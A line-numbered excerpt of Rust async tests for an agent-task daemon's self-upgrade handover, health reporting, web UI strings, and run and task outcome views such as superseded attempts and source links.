15022 assert_eq!(outcome.is_err(), fail);
15023 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15024
15025 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
15026 .expect("upgrade.log is written under the home");
15027 for step in [
15028 "entered",
15029 "finish_loop",
15030 "listener released",
15031 "starting the successor",
15032 ] {
15033 assert!(log.contains(step), "missing `{step}` in:\n{log}");
15034 }
15035 assert!(
15036 log.contains(if fail { "did not start" } else { "pid 4242" }),
15037 "{log}"
15038 );
15039 }
15040 }
15041
15042 #[tokio::test]
15045 async fn the_handover_signal_wakes_one_waiter_once() {
15046 let signal = Notify::new();
15047 signal.notify_one();
15049 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
15050 .await
15051 .expect("an early signal is still seen");
15052 assert!(
15054 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
15055 .await
15056 .is_err(),
15057 "a consumed signal must not wake a second time"
15058 );
15059 let signal = std::sync::Arc::new(signal);
15061 let waiter = tokio::spawn({
15062 let signal = std::sync::Arc::clone(&signal);
15063 async move { wait_for_handover(&signal).await }
15064 });
15065 tokio::time::sleep(Duration::from_millis(20)).await;
15066 assert!(!waiter.is_finished(), "nothing was signalled yet");
15067 signal.notify_one();
15068 tokio::time::timeout(Duration::from_secs(5), waiter)
15069 .await
15070 .expect("a late signal wakes the waiter")
15071 .expect("join");
15072 }
15073
15074 #[tokio::test]
15075 async fn health_says_how_long_a_handover_has_been_stuck() {
15076 let fx = Fixture::start().await;
15077 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15078 progress.advance(crate::updater::Stage::Replaced);
15079 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
15080 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15081
15082 let health = fx.get("/api/health").await.json();
15083 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
15084 assert!(stuck >= 600, "{stuck}");
15085 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
15086 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
15087 }
15088
15089 #[tokio::test]
15090 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
15091 let home = tempfile::tempdir().expect("temp home");
15092 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15093 progress.advance(crate::updater::Stage::Parking);
15094 crate::updater::write_progress(home.path(), &progress).expect("seed");
15095 let mut again = progress.clone();
15097 again.advance(crate::updater::Stage::Replaced);
15098 crate::updater::write_progress(home.path(), &again).expect("replaced");
15099 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15100 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
15101 let after = crate::updater::read_progress(home.path()).expect("record");
15102 assert_eq!(after.stage, crate::updater::Stage::Parking);
15103 }
15104
15105 #[tokio::test]
15106 async fn health_does_not_call_a_live_parking_wait_stuck() {
15107 let fx = Fixture::start().await;
15108 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15109 progress.parked_run = Some("20260905-000000-cd51".to_owned());
15110 progress.advance(crate::updater::Stage::Parking);
15111 let hours = Duration::from_secs(3 * 3600);
15112 progress.started_at = Timestamp::now() - hours;
15113 progress.updated_at = Timestamp::now() - hours;
15114 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
15115 let _lease = crate::updater::LeaseGuard::enter(
15116 fx.home.path(),
15117 Some("20260905-000000-cd51".to_owned()),
15118 );
15119
15120 let health = fx.get("/api/health").await.json();
15121 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
15122 assert!(health["upgrade"]["stuck_kind"].is_null());
15123 assert_eq!(health["upgrade"]["handover_alive"], true);
15124 let waiting_on = health["upgrade"]["waiting_on"]
15125 .as_str()
15126 .expect("waiting_on");
15127 assert!(waiting_on.contains("cd51"), "{waiting_on}");
15128 }
15129
15130 fn idle_ui(home: &TempDir) -> Ui {
15131 let runs = home.path().join("runs");
15132 std::fs::create_dir_all(&runs).expect("runs dir");
15133 Ui::new(
15134 Queue::at(home.path().join("queue")),
15135 Questions::at(home.path().join("questions")),
15136 Talks::at(home.path().join("talks")),
15137 runs,
15138 home.path().to_path_buf(),
15139 PathBuf::from("/repo/magi"),
15140 )
15141 .with_launch(launch_idle)
15142 }
15143
15144 async fn park_fixture(
15145 home: &TempDir,
15146 ) -> (
15147 Ui,
15148 Arc<Mutex<LoopState>>,
15149 Arc<Mutex<TalkTurns>>,
15150 tokio::task::JoinHandle<std::io::Result<()>>,
15151 ) {
15152 let ui = idle_ui(home);
15153 let looping = ui.looping();
15154 let turns = ui.turns();
15155 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15156 .await
15157 .expect("bind loopback");
15158 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
15159 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
15160 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
15161 (ui, looping, turns, served)
15162 }
15163
15164 #[tokio::test]
15168 async fn hand_over_waits_for_a_running_chat_turn() {
15169 let home = TempDir::new().expect("temp home");
15170 let (ui, looping, turns, served) = park_fixture(&home).await;
15171 let ui = Arc::new(ui);
15172 let id = "20260901-000000-chat";
15173 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15174
15175 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15176 let handover = tokio::spawn({
15177 let home = home.path().to_path_buf();
15178 let turns = Arc::clone(&turns);
15179 let calls = Arc::clone(&calls);
15180 async move {
15181 hand_over(
15182 &home,
15183 &looping,
15184 &turns,
15185 &|_: &[String]| Duration::from_secs(60),
15186 served,
15187 move |_| {
15188 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15189 Ok(1)
15190 },
15191 )
15192 .await
15193 }
15194 });
15195
15196 let waiting = async {
15197 for _ in 0..200 {
15198 if crate::updater::read_progress(home.path())
15199 .is_some_and(|p| p.parked_talks == [id.to_owned()])
15200 {
15201 return;
15202 }
15203 tokio::time::sleep(Duration::from_millis(25)).await;
15204 }
15205 panic!("the park never named the chat turn");
15206 };
15207 waiting.await;
15208 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15209
15210 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15213 assert!(
15214 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15215 "a direct start says an upgrade is in progress"
15216 );
15217 assert!(
15218 ui.begin_queued_talk_turn("20260901-000000-late")
15219 .expect("queued claim")
15220 .is_none()
15221 );
15222 assert!(matches!(
15223 ui.begin_talk_turn_unless_pending("20260901-000000-late")
15224 .expect("start"),
15225 TalkTurnStart::Busy
15226 ));
15227 assert_eq!(turns.lock().unwrap().live.len(), 1);
15228
15229 let progress = crate::updater::read_progress(home.path()).expect("progress");
15231 let view = upgrade_progress_view(&ui, progress);
15232 assert!(
15233 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
15234 "{:?}",
15235 view.waiting_on
15236 );
15237
15238 assert!(!handover.is_finished());
15239 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15240 drop(turn);
15241 handover.await.expect("join").expect("hand over");
15242 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15243 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15244 }
15245
15246 #[tokio::test]
15249 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
15250 let home = TempDir::new().expect("temp home");
15251 let (ui, looping, turns, served) = park_fixture(&home).await;
15252 let ui = Arc::new(ui);
15253 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
15255 lock_or_recover(&looping).live = Some(Live {
15256 stop: daemon::Stop::new(),
15257 handle: tokio::spawn(async move {
15258 let _ = loop_ended.await;
15259 }),
15260 opts: daemon::Opts::default(),
15261 });
15262
15263 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
15264 let handover = tokio::spawn({
15265 let home = home.path().to_path_buf();
15266 let turns = Arc::clone(&turns);
15267 let calls = Arc::clone(&calls);
15268 async move {
15269 hand_over(
15270 &home,
15271 &looping,
15272 &turns,
15273 &|_: &[String]| Duration::from_secs(60),
15274 served,
15275 move |_| {
15276 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15277 Ok(1)
15278 },
15279 )
15280 .await
15281 }
15282 });
15283
15284 let reached = async {
15285 for _ in 0..200 {
15286 if crate::updater::read_progress(home.path())
15287 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
15288 {
15289 return;
15290 }
15291 tokio::time::sleep(Duration::from_millis(25)).await;
15292 }
15293 panic!("the hand-over never reached parking");
15294 };
15295 reached.await;
15296
15297 assert!(!turns.lock().unwrap().parking);
15299 let turn = ui
15300 .begin_talk_turn("20260901-000000-chat")
15301 .expect("claim")
15302 .expect("a turn can start while the loop parks");
15303
15304 end_loop.send(()).expect("loop still waiting");
15306 for _ in 0..200 {
15307 if turns.lock().unwrap().parking {
15308 break;
15309 }
15310 tokio::time::sleep(Duration::from_millis(25)).await;
15311 }
15312 assert!(
15313 turns.lock().unwrap().parking,
15314 "closed once the loop is done"
15315 );
15316 let refused = ui.begin_talk_turn("20260901-000000-late").err();
15317 assert!(
15318 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
15319 "no turn starts once the loop is done"
15320 );
15321 assert!(
15322 ui.begin_queued_talk_turn("20260901-000000-late")
15323 .expect("queued claim")
15324 .is_none()
15325 );
15326 assert!(!handover.is_finished());
15327 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
15328
15329 drop(turn);
15330 handover.await.expect("join").expect("hand over");
15331 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15332 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
15333 }
15334
15335 #[tokio::test]
15338 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
15339 let home = TempDir::new().expect("temp home");
15340 let (ui, looping, turns, served) = park_fixture(&home).await;
15341 let id = "20260901-000000-stuk";
15342 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
15343
15344 let calls = std::sync::atomic::AtomicUsize::new(0);
15345 hand_over(
15346 home.path(),
15347 &looping,
15348 &turns,
15349 &|_: &[String]| Duration::from_millis(300),
15350 served,
15351 |_| {
15352 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
15353 Ok(1)
15354 },
15355 )
15356 .await
15357 .expect("hand over");
15358 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
15359
15360 let progress = crate::updater::read_progress(home.path()).expect("progress");
15361 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
15362 assert!(
15363 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
15364 "{:?}",
15365 progress.detail
15366 );
15367 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
15368 assert!(
15369 log.contains("handing over anyway") && log.contains(id),
15370 "{log}"
15371 );
15372 }
15373
15374 #[tokio::test]
15377 async fn drain_loop_starts_no_turn_while_parking() {
15378 let tmp = TempDir::new().expect("tempdir");
15379 let repo = tmp.path().join("repo");
15380 std::fs::create_dir_all(&repo).expect("repo dir");
15381 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
15382 let home = TempDir::new().expect("temp home");
15383 let talks = Talks::at(home.path().join("talks"));
15384 let ui = Ui::new(
15385 Queue::at(home.path().join("queue")),
15386 Questions::at(home.path().join("questions")),
15387 talks.clone(),
15388 home.path().join("runs"),
15389 home.path().to_path_buf(),
15390 repo.clone(),
15391 )
15392 .with_worktrees_root(home.path().join("wt"));
15393 let cfg = config_for(&repo).await.expect("discover config");
15394 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
15395 let id = talk.id.clone();
15396 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
15397 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
15398 let turns = ui.turns();
15399 let parking = ParkingTurns::begin(&turns);
15400
15401 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
15402
15403 assert!(
15404 turns.lock().unwrap().live.is_empty(),
15405 "the slot is given up"
15406 );
15407 let fresh = talks.get(&id).expect("talk");
15408 assert_eq!(fresh.pending, "later", "the draft is still queued");
15409 assert!(fresh.turns.is_empty(), "no turn ran");
15410 drop(parking);
15411 }
15412
15413 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
15415 let looping = ui.looping();
15416 let turns = ui.turns();
15417 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
15418 .await
15419 .expect("bind loopback");
15420 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
15421 let told = std::sync::Mutex::new(None);
15422 hand_over(
15423 home.path(),
15424 &looping,
15425 &turns,
15426 &|_: &[String]| Duration::from_secs(5),
15427 served,
15428 |resume| {
15429 *told.lock().unwrap() = Some(resume);
15430 Ok(1)
15431 },
15432 )
15433 .await
15434 .expect("hand over");
15435 told.into_inner().unwrap().expect("successor was started")
15436 }
15437
15438 #[tokio::test]
15439 async fn a_running_loop_is_resumed_by_the_successor() {
15440 let home = TempDir::new().expect("temp home");
15441 let ui = idle_ui(&home);
15442 ui.start_loop(None).expect("start");
15443 ui.park_for_upgrade().expect("park");
15444 for _ in 0..500 {
15446 if !ui.loop_view(None).running {
15447 break;
15448 }
15449 tokio::time::sleep(Duration::from_millis(2)).await;
15450 }
15451 assert!(handed_over(&home, ui).await, "a running loop must resume");
15452
15453 let successor = idle_ui(&home);
15454 assert!(!successor.loop_view(None).running);
15455 assert!(successor.resume_after_handover(true));
15456 assert!(successor.loop_view(None).running);
15457 successor.stop_loop(None, false).expect("stop");
15458 }
15459
15460 #[tokio::test]
15461 async fn a_second_upgrade_request_keeps_the_resume_intent() {
15462 let home = TempDir::new().expect("temp home");
15463 let ui = idle_ui(&home);
15464 ui.start_loop(None).expect("start");
15465 ui.park_for_upgrade().expect("first park");
15466 ui.park_for_upgrade().expect("second park");
15467 assert!(handed_over(&home, ui).await);
15468 }
15469
15470 #[tokio::test]
15471 async fn a_stop_during_the_handover_wait_is_honoured() {
15472 let home = TempDir::new().expect("temp home");
15473 let ui = idle_ui(&home);
15474 ui.start_loop(None).expect("start");
15475 ui.park_for_upgrade().expect("park");
15476 ui.stop_loop(None, false).expect("stop");
15477 assert!(!handed_over(&home, ui).await);
15478 }
15479
15480 #[tokio::test]
15481 async fn an_idle_loop_stays_stopped_across_the_handover() {
15482 let home = TempDir::new().expect("temp home");
15483 let ui = idle_ui(&home);
15484 ui.park_for_upgrade().expect("park");
15485 assert!(!handed_over(&home, ui).await);
15486
15487 let successor = idle_ui(&home);
15488 assert!(!successor.resume_after_handover(false));
15489 assert!(!successor.loop_view(None).running);
15490 }
15491
15492 #[tokio::test]
15493 async fn a_loop_the_operator_stopped_is_not_resumed() {
15494 let home = TempDir::new().expect("temp home");
15495 let ui = idle_ui(&home);
15496 ui.start_loop(None).expect("start");
15497 ui.stop_loop(None, false).expect("stop");
15498 ui.park_for_upgrade().expect("park");
15499 assert!(!handed_over(&home, ui).await);
15500 }
15501
15502 #[test]
15503 fn only_an_explicit_one_requests_a_resume() {
15504 assert!(!resume_requested(None));
15505 assert!(!resume_requested(Some("0".into())));
15506 assert!(!resume_requested(Some("".into())));
15507 assert!(resume_requested(Some("1".into())));
15508 }
15509
15510 #[test]
15511 fn the_upgrade_button_arms_before_it_restarts_anything() {
15512 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15515 assert!(APP_JS.contains("Replace the binary and restart?"));
15516 assert!(APP_JS.contains("function confirmed("));
15517 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15522 assert!(
15526 APP_JS.contains("Parking, then restarting"),
15527 "the button says what it is waiting for"
15528 );
15529 assert!(APP_JS.contains("if (!out.to)"));
15532 }
15533
15534 #[test]
15535 fn stopping_the_loop_arms_but_starting_does_not() {
15536 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15539 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15540 assert!(APP_JS.contains("confirmed(button, question)"));
15541 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
15544 assert!(APP_JS.contains("const label = btn.textContent;"));
15545 assert!(!APP_JS.contains("Neither direction is guarded"));
15546 }
15547
15548 #[test]
15549 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15550 assert!(
15551 APP_JS.contains("state.health.version"),
15552 "the operator wants to know what is running even with nothing newer"
15553 );
15554 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15555 }
15556
15557 #[test]
15558 fn the_upgrade_button_names_its_destination() {
15559 assert!(
15560 APP_JS.contains("`Update to ${update.to}`"),
15561 "pressing the button should not be a surprise about what it moves to"
15562 );
15563 }
15564
15565 #[test]
15566 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15567 for stage in ["downloading", "replaced", "parking", "restarting"] {
15568 assert!(
15569 APP_JS.contains(&format!("\"{stage}\"")),
15570 "the phone must be able to tell {stage} apart from the others"
15571 );
15572 }
15573 assert!(APP_JS.contains(".waiting_on"));
15574 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15579 assert!(APP_JS.contains("reconnects on its own"));
15580 }
15581
15582 #[test]
15583 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15584 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15593 ..APP_JS.find("function upgrade(").expect("upgrade")];
15594 assert!(
15595 !body.contains(
15596 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
15597 ),
15598 "a failed upgrade must not take the whole strip over the way it used to"
15599 );
15600 assert!(
15601 body.contains("upgradeFailNote"),
15602 "the failure has to reach the loop's own note instead"
15603 );
15604 assert_eq!(
15608 body.matches("upgradeFailNote].filter(Boolean).join")
15609 .count(),
15610 2,
15611 "both loop-why writers (quiet and control) must fold the note in"
15612 );
15613 }
15614
15615 #[test]
15616 fn an_overdue_upgrade_eventually_asks_for_a_human() {
15617 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15620 assert!(APP_JS.contains("function upgradeOverdue("));
15621 }
15622
15623 #[test]
15624 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15625 assert!(
15626 APP_JS.contains("Updated to ${upgradeInfo.to"),
15627 "the operator who asked for the restart wants to know it worked"
15628 );
15629 }
15630
15631 #[test]
15632 fn an_error_is_visible_from_where_the_button_is() {
15633 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15638 ..APP_CSS.find(".alert-text").expect(".alert-text")];
15639 assert!(
15640 alert.contains("position: fixed"),
15641 "an error about the thing under your thumb has to be visible from \
15642 where your thumb is: {alert}"
15643 );
15644 assert!(
15645 alert.contains("z-index: 25"),
15646 "above the dock (20) and the run-actions FAB (15), so neither \
15647 buries it: {alert}"
15648 );
15649 assert!(
15650 alert.contains("var(--tap)"),
15651 "and clear of the dock and the home indicator: {alert}"
15652 );
15653 assert!(
15656 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15657 "the FAB's column stays free: {alert}"
15658 );
15659 }
15660
15661 #[tokio::test]
15662 async fn an_older_attempt_says_what_replaced_it() {
15663 let fx = Fixture::start().await;
15664 let q = fx.queue();
15665 let runs = fx.runs();
15666 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15667 write_run(&runs, first, RunStatus::Stalled);
15668 write_run(&runs, second, RunStatus::Blocked);
15669
15670 let mut t = Task::new(
15671 "one task".to_owned(),
15672 "do it".to_owned(),
15673 PathBuf::from("/repo"),
15674 Source::Human,
15675 );
15676 t.runs = vec![first.to_owned(), second.to_owned()];
15677 q.put(&mut t).expect("put");
15678
15679 let rows = fx.get("/api/runs").await.json();
15683 let by = |short: &str| -> Value {
15684 rows.as_array()
15685 .unwrap()
15686 .iter()
15687 .find(|r| r["short"] == short)
15688 .cloned()
15689 .unwrap_or(Value::Null)
15690 };
15691 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15692 assert!(
15693 by("bbbb")["superseded_by"].is_null(),
15694 "the latest attempt is not superseded by anything"
15695 );
15696 assert!(APP_JS.contains("run.superseded_by"));
15698 assert!(APP_JS.contains("Superseded by"));
15699 }
15700
15701 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15702 let mut t = Task::new(
15703 "one task".to_owned(),
15704 "do it".to_owned(),
15705 PathBuf::from("/repo"),
15706 Source::Human,
15707 );
15708 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15709 t.status = status;
15710 t
15711 }
15712
15713 #[test]
15714 fn source_link_picks_the_page_that_filed_the_task() {
15715 let agent = |node: &str| Source::Agent {
15716 run: "20260904-014455-ab12".to_owned(),
15717 node: node.to_owned(),
15718 };
15719 let chat = source_link(&agent("chat")).expect("chat link");
15720 assert_eq!(chat.kind, "chat");
15721 assert_eq!(chat.id, "20260904-014455-ab12");
15722 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15723 let run = source_link(&agent("implement")).expect("run link");
15724 assert_eq!(
15725 (run.kind, run.href.as_str()),
15726 ("run", "#/runs/20260904-014455-ab12")
15727 );
15728 assert_eq!(source_link(&Source::Human), None);
15729 assert_eq!(
15730 source_link(&Source::Issue {
15731 number: 3,
15732 repo: "o/r".to_owned()
15733 }),
15734 None
15735 );
15736 let odd = source_link(&Source::Agent {
15737 run: "a b/c".to_owned(),
15738 node: "chat".to_owned(),
15739 })
15740 .expect("link");
15741 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15742 }
15743
15744 #[test]
15745 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15746 assert!(
15747 !APP_JS.contains("src.node === \"chat\""),
15748 "inline href rule is back"
15749 );
15750 assert!(
15751 APP_JS.matches("sourceLinkOf(").count() >= 4,
15752 "helper must serve every page"
15753 );
15754 assert!(
15755 APP_JS.matches("openChatLink(").count() >= 3,
15756 "the run page still needs its explicit chat link"
15757 );
15758 assert!(
15759 !APP_JS.contains("const openChat = el("),
15760 "the Queue card duplicates its source label link again"
15761 );
15762 assert!(
15763 APP_JS.contains("metaKids.push(link ? el(\"a\""),
15764 "the task page must link a chat source label too"
15765 );
15766 }
15767
15768 #[test]
15769 fn task_ref_carries_the_source_link_for_a_chat_task() {
15770 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15771 t.source = Source::Agent {
15772 run: "20260904-014455-ab12".to_owned(),
15773 node: "chat".to_owned(),
15774 };
15775 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15776 let v = serde_json::to_value(&out).expect("json");
15777 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15778 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15779 assert_eq!(v["source_label"], t.source.label());
15780
15781 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15782 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15783 .expect("json");
15784 assert!(v["source_link"].is_null(), "{v}");
15785 }
15786
15787 #[test]
15788 fn task_view_serializes_source_link() {
15789 let mut t = Task::new(
15790 "t".to_owned(),
15791 "t".to_owned(),
15792 PathBuf::from("/repo"),
15793 Source::Agent {
15794 run: "20260901-000000-aaaa".to_owned(),
15795 node: "implement".to_owned(),
15796 },
15797 );
15798 t.runs.clear();
15799 let v = serde_json::to_value(TaskView::from(t)).expect("json");
15800 assert_eq!(v["source_link"]["kind"], "run", "{v}");
15801 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15802 }
15803
15804 #[tokio::test]
15805 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15806 let fx = Fixture::start().await;
15807 let runs = fx.runs();
15808 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15809 write_run(&runs, old, RunStatus::Blocked);
15810 write_run(&runs, new, RunStatus::Merged);
15811 let mut t = outcome_task(&[old, new], TaskStatus::Done);
15812 fx.queue().put(&mut t).expect("put");
15813
15814 let view = fx.get(&format!("/api/runs/{old}")).await.json();
15815 let task = &view["task"];
15816 assert_eq!(task["status"], "done");
15817 assert_eq!(task["is_latest"], false);
15818 assert_eq!(task["latest"]["short"], "bbbb");
15819 assert_eq!(task["finished_by"]["id"], new);
15820 assert_eq!(task["finished_by"]["outcome"], "merged");
15821 assert_eq!(task["closed_by_hand"], false);
15822 assert_eq!(view["status"], "blocked", "the run keeps its own status");
15823 assert!(APP_JS.contains("finished_by"));
15824 assert!(APP_JS.contains("superseded by run"));
15825 }
15826
15827 #[tokio::test]
15828 async fn the_latest_run_reports_a_held_task_without_a_successor() {
15829 let fx = Fixture::start().await;
15830 let runs = fx.runs();
15831 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15832 write_run(&runs, old, RunStatus::Stalled);
15833 write_run(&runs, new, RunStatus::Blocked);
15834 let mut t = outcome_task(&[old, new], TaskStatus::Held);
15835 fx.queue().put(&mut t).expect("put");
15836
15837 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15838 assert_eq!(task["status"], "held");
15839 assert_eq!(task["is_latest"], true);
15840 assert!(task["latest"].is_null());
15841 assert!(task["finished_by"].is_null());
15842 assert_eq!(task["closed_by_hand"], false);
15843 }
15844
15845 #[tokio::test]
15846 async fn a_direct_run_has_no_task_outcome() {
15847 let fx = Fixture::start().await;
15848 let runs = fx.runs();
15849 let id = "20260901-000000-aaaa";
15850 write_run(&runs, id, RunStatus::Blocked);
15851 let view = fx.get(&format!("/api/runs/{id}")).await.json();
15852 assert!(view["task"].is_null());
15853 }
15854
15855 #[test]
15856 fn task_outcome_does_not_guess_a_finishing_run() {
15857 let a = "20260901-000000-aaaa";
15858 let b = "20260901-000000-bbbb";
15859 let c = "20260901-000000-cccc";
15860 let dir = tempfile::tempdir().expect("tempdir");
15861 write_run(dir.path(), a, RunStatus::Blocked);
15862 write_run(dir.path(), b, RunStatus::VerifiedNoop);
15863 let read = |id: &str| read_run(dir.path(), id).ok();
15865 let t = outcome_task(&[a, b, c], TaskStatus::Done);
15868 let out = task_outcome(&t, a, 3, read);
15869 assert!(out.finished_by.is_none());
15870 assert!(out.closed_by_hand);
15871 let latest = out.latest.expect("latest");
15872 assert_eq!(latest.id, c);
15873 assert_eq!(latest.status, None);
15874 assert_eq!(latest.outcome, "record unreadable");
15875
15876 write_run(dir.path(), c, RunStatus::Ready);
15878 let t = outcome_task(&[a, c], TaskStatus::Done);
15879 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
15880 assert_eq!(out.finished_by.expect("finisher").id, c);
15881 assert!(!out.closed_by_hand);
15882
15883 let t = outcome_task(&[a, b, a], TaskStatus::Held);
15885 assert!(task_outcome(&t, a, 3, read).is_latest);
15886 }
15887
15888 #[tokio::test]
15889 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
15890 let fx = Fixture::start().await;
15895 let q = fx.queue();
15896 let runs = fx.runs();
15897 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
15898 write_run(&runs, first, RunStatus::Blocked);
15899 write_run(&runs, second, RunStatus::Merged);
15900
15901 let mut t = Task::new(
15902 "one task".to_owned(),
15903 "do it".to_owned(),
15904 PathBuf::from("/repo"),
15905 Source::Human,
15906 );
15907 t.runs = vec![first.to_owned(), second.to_owned()];
15908 q.put(&mut t).expect("put");
15909
15910 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
15911 assert_eq!(earlier["superseded_by"], "dddd");
15912 assert_eq!(earlier["latest_attempt"]["id"], second);
15913 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
15914 assert_eq!(
15915 earlier["latest_attempt"]["resolved"], true,
15916 "the run that replaced it landed, so this one reads as settled"
15917 );
15918
15919 let later = fx.get(&format!("/api/runs/{second}")).await.json();
15920 assert!(
15921 later["superseded_by"].is_null(),
15922 "the latest attempt is not superseded by anything"
15923 );
15924 assert!(
15925 later["latest_attempt"].is_null(),
15926 "the latest attempt has no later attempt of its own"
15927 );
15928
15929 assert!(APP_JS.contains("run.latest_attempt"));
15936 assert!(APP_JS.contains("data-superseded"));
15937 assert!(APP_JS.contains("#/runs/${latest.id}"));
15938 }
15939
15940 #[tokio::test]
15941 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
15942 let fx = Fixture::start().await;
15948 let q = fx.queue();
15949 let runs = fx.runs();
15950 let (a, b, c) = (
15951 "20260901-000000-aaaa",
15952 "20260901-000000-bbbb",
15953 "20260901-000000-cccc",
15954 );
15955 write_run(&runs, a, RunStatus::Blocked);
15956 write_run(&runs, b, RunStatus::Blocked);
15957 write_run(&runs, c, RunStatus::Merged);
15958
15959 let mut t = Task::new(
15960 "retried twice".to_owned(),
15961 "do it".to_owned(),
15962 PathBuf::from("/repo"),
15963 Source::Human,
15964 );
15965 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
15966 q.put(&mut t).expect("put");
15967
15968 let view = fx.get(&format!("/api/runs/{a}")).await.json();
15969 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
15970 assert_eq!(
15971 view["latest_attempt"]["id"], c,
15972 "the chain's current head, not the intermediate Blocked retry"
15973 );
15974 assert_eq!(view["latest_attempt"]["resolved"], true);
15975
15976 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
15977 assert_eq!(mid["latest_attempt"]["id"], c);
15978 assert_eq!(mid["latest_attempt"]["resolved"], true);
15979 }
15980
